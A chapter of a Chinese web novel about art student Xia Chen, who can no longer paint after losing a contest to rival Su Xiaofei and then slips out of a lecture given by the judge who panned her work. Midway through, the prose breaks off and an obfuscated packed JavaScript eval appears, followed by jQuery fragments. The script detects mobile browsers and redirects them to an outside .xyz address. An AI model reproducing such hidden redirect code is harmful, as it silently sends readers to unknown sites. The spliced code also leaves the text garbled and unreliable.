第二天是周一,夏忱回到学校,上午是写生油画课。
但她已经很久没去上专业课,而是被老师委托去给大一当助教,指导学生画画。
一进画室就听到学生在议论苏小霏。
“千创还是有点东西,这样都能保下来?”
“就算张强是个人渣,苏小霏肯定也不是无辜的,我看他们烂锅配烂盖。”
“苏小霏画画那么烂都能拿第一,我们这些学画这么多年的算什么?根本就不公平!小夏老师画得比她好多了……”
美院的学生也有从小学画画的,自然不服苏小霏这种半路出家却大受追捧的人。
夏忱清咳一声,吸引学生的注意力,明明知道他们在讨论什么,却还要故意问一遍。
“已经上课了,颜料都准备好了吗?在说什么呢?”
她和这些大一学生,年龄相差不大,加上温和有礼,耐心指导他们画画。学生们都把她当自己人,还以为夏忱没有关注新闻,你一言我一语地说起苏小霏,还愤愤地为她打抱不平。
“原来你们在讨论这件事呀,张强还有被他骚扰的人,我都认得,他的确不是好人,还好被革职开除了。”
夏忱最爱惜名声的人,虽然想赞同学生们说的话,却从不给人留下话柄。肯定了张强的行为,却没有澄清苏小霏和张强的关系,转而说起苏小霏的画。
“苏小霏的画面很有灵气,虽然技巧欠缺,但技巧都是可以后天练习的,之前那么受欢迎也是有原因的。”
但她的夸赞并没有得到学生们的认同。
“她画得那么烂还能拿第一,千创真是没眼光!”
“就是,明明小夏老师画得那么好!”
“别这么说,审美是很私人的事情。”
夏忱不痛不痒地替苏小霏开解几句,一番对话下来,反而加深了学生对苏小霏的偏见。
见时间差不多也没忘记正事,给学生布置课堂任务。
上午很快就过去,快中午的时候张老师也到了画室,还特意留下夏忱。
“马上就要期末,你这段时间不用来了,去准备你的结业作品吧。”
夏忱眼神微暗,早就猜到张老师找她的原因,找不到拒绝的理由,捋了捋发丝重新露出招牌笑容,说了些最近代课的心得和遇到的问题,引得张老师眼神发亮和耐心解释。
铺垫够了才说:“张老师,结业的时间有点紧呢……”
张老师摆了摆手:“没事,我和你老师打过招呼,晚点交也可以。老师都知道你的水平,放心,不会为难你的。”
“谢谢张老师!”
获得时间上的宽裕,夏忱露出真心实意的笑容。
告别张老师,去食堂吃饭,许枣已经替她占好位置打完饭,隔着老远就冲她招手。
许枣是夏忱的室友,算是关系密切的朋友之一。
夏忱把要回画室的事情告诉她,许枣跟着高兴。
“那太好了,是该回来,很久都没看到你画画,其他同学肯定也很期待,你的位置我一直帮你看着呢。”
“是啊,”夏忱放下筷子,浅浅一笑:“这么久没画都有点手生了,不知道能不能达到老师的要求。”
“哈哈,你闭着眼画都强过很多人,怎么可能达不到。”
许枣只当夏忱在自谦,嘻嘻哈哈地聊起其他话题,快吃完时发现夏忱面前的饭菜基本没动过。
“怎么不吃?饭菜不合胃口吗?”
“你打的菜都是我喜欢的,怎么会不合胃口呢?特别是这个番茄鸡蛋,很好吃。”
夏忱顺势夹了一块番茄,她吃饭的姿势很斯文,吞下后才补充:“只是我早上吃得有点多,现在还不饿。”
“是吗?”
夏忱应下一声,就把话题转移到别处,但心里藏着事,之后心不在焉的,也没注意许枣到底说了些什么事。
自从比赛结束后,夏忱就没有再画过一副画。
她无法画画了。
难以接受无法再画画的自己,就一直隐藏着这件事,有意或无意地避开绘画。去给大一学生当助教,一方面是有这个能力,另一方面也是找老师自荐来的。
但逃避也不是办法,还是要回来交结业作品。
夏忱乐观地想:也许多试几次就能画了呢。
短暂的午休结束,要去画室,却被许枣拦住。
“你去哪?礼堂在那边。”
“礼堂?”
“你是不是忘了?中午才和你说过有讲座,快点快点,晚了就只剩后排。”
“哦哦,我是睡糊涂了,还好有你提醒。”
夏忱根本不记得这件事,难得表现出几分迷糊,但反应快,马上就找补回来。
许枣没有追究,一个劲地带着她往前走。
类似的讲座,学校时不时就会举办,夏忱对此接受良好,不知道是不是要感谢这个讲座,能晚点回去面对画布。
等到了礼堂,现场已经坐满大半,许枣拉着夏忱坐到中间靠前的位置,前后左右都是班上的人。
夏忱有一搭没一搭的听她们聊天,连她们蛐蛐苏小霏也没跟着一起,偶尔才插上一句,心里想的都是画画的事。
直到讲座开始的前几分钟,她才知道主讲人是陆予章。
看到陆予章站在讲台下和院长聊天。
顿时感觉浑身不适,礼堂内空气沉闷,还闹哄哄的,连灯光都变得非常晃眼。
陆予章不好好当他的大老板,跑到学校里搞什么讲座?
他还是那副清高矜贵的样子,穿着一身白色新中式,和谁都保持着一段距离,夏忱都能想象到他说话的语气。
也许她盯人的时间太久,陆予章回望过来,在几千人的礼堂中捕捉到她的目光。
夏忱立刻摆出笑容,还冲着陆予章小幅度挥手。
陆予章微微颔首后,收回目光,继续听院长说话。
夏忱表情不变,心里更加难受了,更没心思和前后左右聊天,斟酌着找什么借口离开。
她难受可不是因为放陆予章鸽子后的心虚,而且对着高高在上的陆予章产生了应激。
本来就着急,看到陆予章后更着急。
比赛还历历在目,陆予章评价起她的画可是没有留半点情面,一句:“有形无神,拙劣的模仿者”。
记恨到现在,这样的评价对于任何一个画家都是重大的打击。还做了很长一段时间的噩梦,天天梦见陆予章对她的画不屑一顾,那眼神像看垃圾一样。
现在见到陆予章还能笑都算是大度。
这句话后,她的画都卖不出之前的价格,还总被人议论,尤其是拿出来衬托苏小霏作品的灵气。索性就关闭卖画的渠道,反正她也不缺钱,更不想听这些非议。
还没来得及开口,院长已经上台,介绍起陆予章那堆吓人的履历。
“许多同学担心纯艺专业未来的发展方向,今天我特意邀请优秀校友——陆予章。相信很多人听过他的名字,他不仅在丹青方面有很高的造诣,还一手创办千创……”
许枣轻轻肘夏忱一下,小声说:“他是不是你们那届比赛的评委?前几天发微博的也是他吧,长得可真帅,你们熟吗?他私下也这么傲吗?”
大多数情况下,夏忱很乐意和这种大佬表现出熟悉感,往自己脸上贴金,这次却不想和陆予章表现出半点熟悉感。
“只是见过几面,不太熟。”
简单说完就不再说话。
院长发表完,换成陆予章上场。
陆予章慢步走到讲台中心,扫视全场,目光似乎多在夏忱身上停留了几秒,随后低沉醇厚的声音传开:“大家好,我是陆予章……”
声音通过音响已经失真,但还是四平八稳又有力量感,语言风格也是犀利尖锐,几次把台下学生逗笑,十几分钟过去居然都没同学睡觉。
夏忱是不觉得好笑的,并且也坐不住,对许枣说:“我有点不舒服,头好晕,好想吐。”
大概是心里作用,她说这话时,脸色苍白,唇上没什么血色,非常有说服力。
“怎么了?要不要我陪你去?”
“没事,可能是里面太闷了,我回去休息一下就好。”
“那你去吧,我帮你给老师说。”
“麻烦你了。”
夏忱各方面都很优秀,是所有老师都会照顾的学生,因此也不怕跟老师请假。
她很少中途离开,如此不给人面子,一站起来就被陆予章注意到。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563753|171439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
只好低着头避开陆予章的目光,手扶着额头做出不舒服的样子,好在陆予章没有为难她,顺利地出来。
回到寝室没多待,想画画但不想去画室。便从桌子底下掏出小画箱,拎着画箱到学校后山,找到一处无人的角落,便支起画架。
夏忱站着,却始终无法落下第一笔,对着空白的画布发呆半天。
干脆放下画笔,转而打开苏小霏的微博。
苏小霏在昨天零点时发布过一幅画,画面用暗色调和乱七八糟的线条铺满,混乱又压抑。
评论区也全是对这幅画的不满:
「吓死我了!不会画画就不要画了!!」
「什么乱七八糟的???」
「真烂,我家狗狗在颜料里打个滚都比你画得好看」
「小三,滚出去」
再往前面翻,那些本来夸声一片的画,底下也有类似的污言秽语。
苏小霏的画天马行空,梦幻又童真,用色大胆,一气呵成,灵气十足,虽然技巧欠缺,却非常有感染力,能把观看者拉入画中。
最新作品都失去了这些特点。
都说画如其人,夏忱的画风几乎是苏小霏的反面。
六岁起开始画画,在顾临能一天跑三个地的年龄,可以对着画布坐一天。绘画方面可以说是既有天赋又足够努力,用生命在绘画。
各种技巧使用十分娴熟,对画面构图、色彩和谐、光影表现、细节把控追求到极致,每一个笔触、颜色都经过计算,出来的画面浑然一体,无论是谁都挑不出错。
没有苏小霏对比,夏忱自然是绘画天才。
苏小霏出现后,她引以为傲的绘画技巧似乎成为画面的累赘,众人也终于发现她画面的缺陷——没有灵气。
夏忱和苏小霏年岁相当,同在一届比赛里,画风是两个极端,一个学画14年一个学画几个月,经常被拿出来比较。
追捧苏小霏的人,每次捧苏小霏的时候,都要踩上夏忱一脚,讽刺夏忱学了这么多年画,还不如苏小霏随手一笔。
还有网友评价夏忱和苏小霏的画,说夏忱的画面优美,适合放在客厅,供客人们欣赏;苏小霏的画适合放在卧室内,每天睡觉前看一眼都能做个好梦。
夏忱耿耿于怀,她怎么就不如苏小霏了?凭什么她的画不能放卧室里?难道看她的画就不能做个好梦?
她还放下面子向苏小霏讨教,结果苏小霏说:“没什么技巧,就是觉得这样会好看,所以就这样画了。”
开始她还以为苏小霏长了心眼,藏私不愿意分享技巧。
但很快就发现苏小霏就是这样认为的,也许这就是天赋之间的差距?
她非常痛苦,自从比赛结束后,她就无法画出一副完整的作品。
只要画画,她就会回想起输掉比赛的那天,评委陆予章对她的画的恶评,还有网络上那些负面评价。
后来她又尝试改变绘画时的心态,就像苏小霏那样,用更加轻松和随意的姿态画画。
但是更不行了,她始终无法忽略那些构图、色彩、细节和绘画技巧,只要一拿到画笔,那些对画面的计算就会填满脑袋,迟迟下不去第一笔。
画画对她来说变成上刑。
而苏小霏却能稳定高产,好像有用不完的灵感,越画越好,还能把画卖出高价。
被人问起对苏小霏画的看法时,还要笑着夸赞苏小霏的画,说一些场面话。
当人问她近期有什么作品时,也都以没有灵感搪塞过去,生怕被人知道无法作画,更怕被人问起不能绘画的原因。
她更妒恨苏小霏了。
苏小霏好像很轻松就得到了她想要的一切。她在绘画圈混了那么久,还有“小珍珠”这么好听的代称,却远远不如苏小霏一场比赛中获得的名望。从小努力画画,把全部都投入绘画中,却还不如只画了四个月的苏小霏,到现在甚至画不出画。
哪怕是苏小霏贫穷的家庭对夏忱来说都有可取之处,和苏小霏的交流中能感觉到,苏小霏的奶奶是非常疼爱她的,她和妹妹的关系也非常亲密。
夏忱忍不住笑出声,觉得太好了,虽然她画不出画,但苏小霏画出来也照样被骂。
是她毁掉了苏小霏。